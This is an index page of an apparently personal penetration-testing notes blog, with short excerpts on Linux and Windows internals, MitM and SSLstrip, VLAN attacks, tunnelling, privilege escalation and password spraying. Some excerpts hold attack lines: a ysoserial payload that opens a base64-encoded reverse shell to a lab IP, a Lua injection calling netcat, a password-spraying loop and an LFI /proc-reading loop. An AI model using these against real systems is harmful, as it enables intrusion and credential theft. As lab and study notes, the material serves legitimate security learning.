akde/infosec

Click Here

  • Debian Package Managment System

    Show info: dpkg --info $package Show all files of a deb: dpkg -L $package Show all installed packages: dpkg -l Search for a file or path: dpkg -S htpasswd Show why a pack­age was installed: apitude why apache2-utils About deb files A deb file is a ar archive with this structure: $ ar t example.debdebian-binarycontrol.tar.xz (or .gz or…

  • Kali

    Some notes: Build an own Kali ISO image apt install curl git live-buildgit clone https://gitlab.com/kalilinux/build-scripts/live-build-config.gitcd live-build-config..../build.sh --verbose This will cre­ate a cus­tom ISO.

  • Grepable strings

    Oth­er

  • Linux security fundamentals

    The four process ID’s For each process, Lin­ux man­ages four UID’s. When a process from a user with UID 1000 is started/forked, then the new process has nor­mal­ly also the UID 1000. How­ev­er, with SUID/GUID it becomes more com­pli­cat­ed, since process­es can get oth­er UIDs than the one of the caller. When a process like passwd…

  • Windows fundamentals

    Named pipes A named pipe is a method for remote or local IPC Inter-process communication. Basic commands Where is a program? where ssh Restart the sys­tem now: shutdown /r /t 0 Set file sys­tem attrib­ut­es (which are shown with the dir command): attrib +r file.exe Set file sys­tem per­mis­sions (which are shown with the icacls command):…

  • JavaScript

    Get infor­ma­tion from a (mini­fied) JS (e.g. from Angular):

  • File upload checklist

    (!) If upload does not seem to work, change the suf­fix e.g. from .php to .pHp. More: File uploads / images

  • Escaping from restricted shells / jails

    First, try to deter­mine the shell echo $PATH echo $SHELL Try to set the PATH variable export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin Upload the escape_from_restricted_shell.c pro­gram (scripts directory). Have a look into a local bin direc­to­ry and see if you can use any bina­ry there to escape.

  • SEH Structured Exception Handler overflow

    Assume you have a buffer over­flow vul­ner­a­bil­i­ty. You can con­trol the EIP. But your shell­code is nev­er executed. Your shell­code is exe­cut­ed when a ret instruc­tion is exe­cut­ed which calls the address you overwrite. But maybe the ret at the end of the func­tion where the buffer over­flow occurs is nev­er reached, because you over­wrote the…

  • Windows security fundamentals

    SID Security Identifiers All ele­ments have attrib­ut­es. They are iden­ti­fied via a Secu­ri­ty Iden­ti­fi­er SID. The struc­ture of a SID: Exam­ple: The Domain Iden­ti­fi­er ist the SID with­out the last RID part. Exam­ples for well-known SIDs: Basic Windows security access control Security context Mandatory Integrity Control and integrity levels Win­dows (from Vista on) has five integri­ty levels:…

  • Crypto notes

    This page con­tains var­i­ous unstruc­tured notes about cryp­to relat­ed things. General notes If you find some­where that some­thing should be ran­dom, but it isn’t, this is already an impor­tant finding. Stream Ciphers A stream cipher encrypts a clear­t­ext bit for bit or char­ac­ter for char­ac­ter (nor­mal­ly via XOR) with a secret key. It pro­duces a…

  • mitmproxy / mitmdump

    mit­m­dump is a proxy which can store and mod­i­fy content. Change content of a third-party site Sce­nario: You want to manip­u­late some con­tent from a web­site $tar­get visits. Per­form ARP-pois­en­ing with Bet­ter­cap, Etter­cap, the http_hijack.py script or some­how else. Start mit­m­dump in trans­par­ent mode:mitmdump --mode transparent --replace /~s/wars/trek/or alter­na­tive­ly to read the new con­tent from a…

  • HSTS HTTP Strict Transport Security

    Bypass HSTS is based on host­names. If a tar­get already vis­it­ed www.supersite.example, you can try to redi­rect the tar­get to a sim­i­lar domain which the brows­er nev­er vis­it­ed before and thus does­n’t has HSTS activated. Rewrite the Host HTTP head­er for your serv­er you want to imper­son­ate and add anoth­er char­ac­ter, e.g. wwww.supersite.example. You pre­pared…

  • SSLstrip

    SSLstrip works as proxy which replaces HTTPS ref­er­ences in HTTP, HTML, JS,.… respons­es with HTTP versions. Instal­la­tion: SSLstrip is old. Cre­ate a venv and install an old­er ver­sion of twist­ed: venv/bin/pip install Twisted==18.9.0 Remove HTTPS references via MitM Sce­nario: You want that $tar­get routes all HTTP traf­fic through your own system. Your sys­tem should remove each…

  • Forwarding, Tunneling and redirections

    Socat If Socat is not on the tar­get sys­tem, upload a sta­t­ic bina­ry. This will lis­ten to port 5555 and for­ward it to the giv­en IP on the giv­en port deep­er in the tar­get’s network: socat -ddd TCP-LISTEN:5555,reuseaddr,fork TCP:10.4.247.215:5432 Proxychains ! If prox­y­chains is slow, espe­cial­ly while port scan­ning, try to reduce the fol­low­ing parameters:…

  • Network hacking

    This is an overview blog post. MitM Etter­cap Bet­ter­cap L2 Scapy L2 mit­m­dump L3 Loki Var­i­ous VLAN attacks NAC Net­work admis­sion control Oth­er tools and notes: Use http_hijack.py in the P151 script direc­to­ry) to quick­ly set up a MitM. Check if you can See OSPF pack­ets. Inspect then in Wire­shark for the Auth Type field. If this is…

  • VLAN attacks

    Def­i­n­i­tions: A trunk con­nec­tion is a con­nec­tion between two switches. Tools Yersinia is a lay­er 2 mod­i­fi­ca­tion framework. VoIPHop­per is a sim­ple tool which can sniff VoIP traf­fic and out­put the VLAN ID from the VoIP net­work:voiphopper -c 0 -i eth0 Enumerate existing VLANs Start Yersiniayersinia -I Press g Select DTP Press 5 to see…

  • MAC address impersonation

    Cau­tion: Don’t change the MAC address via a remote ses­sion because of reasons… Linux ifconfig eth0 ether 00:01:02:03:04:05 Mac ifconfig en0 ether 00:01:02:03:04:05 Windows mac­shift e.g.

  • NAC Network Admission Control

    Tech­niques which decides if a new device can join the nor­mal or a spe­cial network. A cap­tive por­tal forces a client to an authen­ti­ca­tion page. After authen­ti­ca­tion in a nor­mal low-secu­ri­ty envi­ron­ment (where you can­not assume pre­con­fig­ured sys­tems) the authen­ti­ca­tion is usu­al­ly grant­ed to a com­bi­na­tion of MAC and IP. There­fore, try to sniff valid…

  • History

    Malware (Notes are tak­en from the Try­HackMe course.) John von Neu­mann (!) cre­at­ed a con­cept of mali­cious soft­ware in 1949. The first imple­men­ta­tion was done in 1971 by Bob Thomas. The pro­gram Creep­er jumped from one sys­tem (run­ning the oper­at­ing sys­tem Tenex) to anoth­er and just print­ed a mes­sage on each console. The team Nema­tode is…

  • JAVA

    If you can pro­vide a seri­al­ized (.ser) file, try to cre­ate a pay­load direct­ly, if you have the source code, or just use a yose­r­i­al payload. java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 4 192.168.49.175" > /tmp/recycler.ser // Prepare a reverse shell command line an transform it into b64. java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ5LjE3NS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"…

  • NTFS

    File and directory integrity levels C:\Users\User>icacls hallo hallo NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) WINDEV2012EVAL\User:(I)(F) Mandatory Label\High Mandatory Level:(NW) (I)(F) means that the cor­re­spond­ing user or group has (F) Full per­mis­sion on the file and that the per­mis­sions are inher­it­ed from the par­ent = directory. Note that the Read right ® also enables exe­cu­tion on that file! (There…

  • Windows Subsystem for Linux

    Deter­mine if the sys­tem has the WSL with bash: where /R C:\windows bash.exe If bash.exe is there and the WSL is run­ning, then com­mands can be run as root (!) like: C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.19041.423_none_1da742a41b53e164\bash.exe whoami Install the WSL To install the WSL, a sys­tem shell is required unfor­tu­natel­ly. See this arti­cle for instal­la­tion.

  • Browser: Firefox, Safari, Chrome

    Dumpzilla Extracts the con­tent of a pro­file directory. Down­load the pro­file directory. See what we have:dumpzilla 84p8ofq6.default --Summary Use the mod­ules to see details.

  • BSD

    Shows all process in a wide con­soleps auxww sudo = doas

  • LUA

    https://www.syhunt.com/en/index.php?n=Articles.LuaVulnerabilities Notes A com­ment can be done with //. Add this after an injec­tionindex?file=bla');os.execute('nc...')--

  • Copy files

    Important notes Copy+paste For Lin­ux: base64 r > r.b64 ... base64 --decode -i r.b64 > r.tar For Win­dows: base64 p64.exe | sed 's/^(.*)$/echo \1 >> b64/g' ... certutil -encode file.exe b64.txt certutil -decode b64.txt file.exe Alter­na­tive: python -c "open('test.b64','wb').write(open('test.txt').read().encode('base64'))" ... python -c "open('test.txt','wb').write(open('test.b64').read().decode('base64'))" Alter­na­tive: python -m base64 -e test > test.b64 ... python -m base64…

  • Windows privilege escalation

    After these steps, more things to do: Work with processes For enu­mer­a­tion of process­es, see the Basic Win­dows sys­tem enu­mer­a­tion post. Kill a process taskkill /PID $pid taskkill /IM notepad.exe pskill /accepteula $pid // With SysinternalTools Sus­pend and con­tin­ue a run­ning process with SysinternalTools: pssuspend /accepteula notepad.exe ... pssuspend /accepteula -r notepad.exe Work with DLL’s Show all…

  • Password spraying

    Pass­word spray­ing: Try a few pass­words against a large set of users. Manual for u in Administrator Guest krbtgt DefaultAccount ryan marko sunita abigail marcus sally fred angela felicia gustavo ulf stevie claire paulo steve annette annika per claude melanie zach simon naoki; do rpcclient -W MEGABANK -U $u 10.10.10.169; done; With Pow­er­Shell Down­load Domain­Pass­word­Spray and…

  • Enumerating /proc

    For reverse engineering Devi­ce­name Con­tent /proc/$pid/maps Shows the mem­pory map­ping of a process. Includes all used libraries. /proc/self/loginuid Own UID. Read processes If you can read /proc via a LFI: #!/bin/bash for i in {1..1024} do echo $i curl http://10.10.11.154/index.php\?page=/proc/$i/cmdline --output /tmp/proc/$i done The, look in the /tmp/proc direc­to­ry for files > 0 byte. Read envi­ron­ment of…